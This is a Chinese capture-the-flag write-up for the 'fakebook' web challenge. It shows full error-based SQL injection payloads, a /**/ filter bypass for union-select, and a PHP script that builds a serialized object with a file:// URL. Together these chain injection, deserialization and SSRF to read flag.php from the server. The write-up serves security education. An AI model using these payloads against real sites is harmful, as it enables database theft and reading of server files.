0x00 知识点
- robots.txt文件泄露
- SSRF(服务器端请求伪造)
- 多种SQL注入以及绕过
- 构造序列化字符串
0x01 知识点详解
- 什么是SSRF?
答:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
详情推荐去看这个大佬的文章 - 什么是序列化,什么是反序列化?
这里直接放上我之前的文章。
0x02 解题思路
- 打开网站,发现网站题目是fakebook,可以登录注册,其他没有什么功能。
- 尝试注册一个用户,这里注意这个blog必须要以http或者https开头不然没有办法注册。
注册成功后就是这样的。 - 打开用户界面,页面内没有什么有用的信息,但是在url地址栏里发现疑似注入点的地方尝试用(’)测试,观察回显的不同,推测这里是个报错注入。
- 尝试构造payload看看能不能在数据库中得到什么信息
先来查一下数据库
payload:
view.php?no=1 and extractvalue(1,concat('~',(select(group_concat(database())))))%23
这里奇怪的是把0x7e给过滤掉了,~反而没有过滤。
知道了库名后,继续爆表
payload:
view.php?no=1 and extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='fakebook')))%23
得到表,继续爆字段
payload:
view.php?no=1 and extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))%23
继续查里边的内容
payload:
1. view.php?no=1 and extractvalue(1,concat('~',(select(group_concat(left(data,32)))from(fakebook.users))))%23
2. view.php?no=1 and extractvalue(1,concat('~',(select(group_concat(right(data,32)))from(fakebook.users))))%23
将里边的内容全部复制出来拼接到一起
O:8:“UserInfo”:3:{s:4:“name”;s:‘3:“123”;s:3:“age”;i:12;s:4:"bl’)//,这里没有查完,推测这后面是关于注册时博客的序列化字符
当看到网址的瞬间,我感觉会不会是SSRF,但是还没发证明,就找了个大佬的wp看了看,发现可以利用kali里的目录扫描器nikto扫到robots.txt和flag.php。
- 先查看robots.txt文件,并发现源码泄露,把源码下载下来后
接下来分析源码
user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;//经典序列化问题
}
function get($url)
{
$ch = curl_init(); //初始化一个curl会话
curl_setopt($ch, CURLOPT_URL, $url); //设置需要抓取的URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
$output = curl_exec($ch); //运行cURL,请求网页,那我们是不是就可以利用这里访问到不能直接访问的flag.php网页,也就是利用SSRF的思路
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);//过滤条件
}
}
- 这样梳理下来,我们最终思路就是:利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件。
- 但是测试后发现union,select被过滤了,没有办法直接使用,后尝试双写,大小写没有用,最后是用/**/绕过成功,并查出字段数为4.
- 接下来构造我们需要的序列化字符串,很简单的脚本,在自己的本地环境运行一下得到自己需要的字符串。
<?php
class UserInfo
{
public $name = "123";
public $age = 12;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>
- 构造最终的payload
view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23
查看源码找到base64加密后的flag,解码后得到答案。